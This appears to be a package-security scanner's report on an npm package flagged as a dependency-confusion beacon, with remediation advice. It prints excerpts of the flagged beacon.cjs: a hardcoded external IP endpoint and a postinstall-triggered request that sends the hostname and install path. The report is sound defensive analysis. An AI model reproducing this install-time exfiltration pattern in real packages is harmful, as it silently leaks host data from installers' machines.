@grabcad/grabcad-shop-shared@3.0.0
Compatibility shim.
This package appears in our research on the dependency confusion probes at version 99 and above, with how it works, the full package list and what to do if you installed it.
AI Security Review
scanned 4h ago · by lpm-firewall-aiThe postinstall hook activates an unsolicited metadata beacon to a hardcoded external endpoint. This is an installation-time disclosure of host-identifying data, so publication should be blocked.
Static reason
One or more suspicious static signals were detected.; source fingerprint signature matched known malicious package; routed for review
Trigger
Package installation, or importing index.js at runtime.
Impact
The recipient receives installation and host-identifying metadata without installer consent.
Mechanism
The postinstall hook runs beacon.cjs, which posts a JSON payload containing the package name, hostname, and install path to a hardcoded HTTP endpoint without an opt-in.
Attack narrative
The package automatically reports host and installation metadata to a fixed external IP during postinstall. The source shows no consent gate for this disclosure; importing the package also invokes the beacon.
AI rationale
The postinstall hook activates an unsolicited metadata beacon to a hardcoded external endpoint. This is an installation-time disclosure of host-identifying data, so publication should be blocked.
Evidence
package.jsonbeacon.cjsindex.js
Network endpoints1
185.158.107.175:8787/_ah/dc
Decision evidence
public snapshotAI called this Malicious at 98.0% confidence as Malware with low false-positive risk.
Evidence for block
- The postinstall hook runs beacon.cjs automatically during installation.
- beacon.cjs sends a JSON payload to a fixed external IP address.
- The payload includes the package name, machine hostname, and install path.
- Importing index.js also calls the beacon helper.
Evidence against
Behavioral surface
Network
UrlStrings
Source & flagged code
8 flagged · loading sourcepackage.jsonView file
•scripts.postinstall = node beacon.cjs
High
Install Time Lifecycle Scripts
Package defines install-time lifecycle scripts.
package.jsonView on unpkg7"postinstall": "node beacon.cjs"
},
"files": [
"index.js",
"beacon.cjs",
"README.md"
],
"license": "MIT"
}
High
Suspicious Lifecycle Evidence
The postinstall hook runs beacon.cjs automatically during installation.
package.jsonView on unpkg · L7beacon.cjsView file
3// recipient can correlate an install. No data beyond that is collected or sent.
L4: var BEACON = "http://185.158.107.175:8787/_ah/dc";
L5: var PKG = "@grabcad/grabcad-shop-shared";
...
L10: var lib = u.protocol === 'https:' ? require('https') : require('http');
L11: var data = Buffer.from(JSON.stringify(payload));
L12: var req = lib.request({
...
L20: req.setTimeout(5000, function () { try { req.destroy(); } catch (e) {} resolve(); });
L21: req.write(data); req.end();
L22: } catch (e) { resolve(); }
...
L27: package: PKG,
L28: hostname: (function () { try { return require('os').hostname(); } catch (e) { return ''; } })(),
L29: installPath: __dirname,
Findings
8 High1 Medium2 Low
HighInstall Time Lifecycle Scriptspackage.json
HighHost Fingerprint Exfiltrationbeacon.cjs
HighKnown Malware Source Fingerprint Signaturebeacon.cjs
HighSuspicious Lifecycle Evidencepackage.json
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidencebeacon.cjs
HighAi Review Evidenceindex.js
MediumNetwork
LowScripts Present
LowUrl Strings
Affected versions and remediation
This report applies to @grabcad/grabcad-shop-shared@3.0.0.
See all versions of @grabcad/grabcad-shop-shared for other recorded verdicts.
- Avoid installing @grabcad/grabcad-shop-shared@3.0.0. Remove it from direct dependencies and check your lockfile for transitive copies.
- Choose an independently verified alternative or release. This report does not establish that other versions are safe.
- If this version ran, investigate the affected machine and build environment. Rotate credentials it could access and rebuild from a trusted environment.
Evidence last updated: .
Think this verdict is wrong? Dispute it on GitHub or read how reports are produced.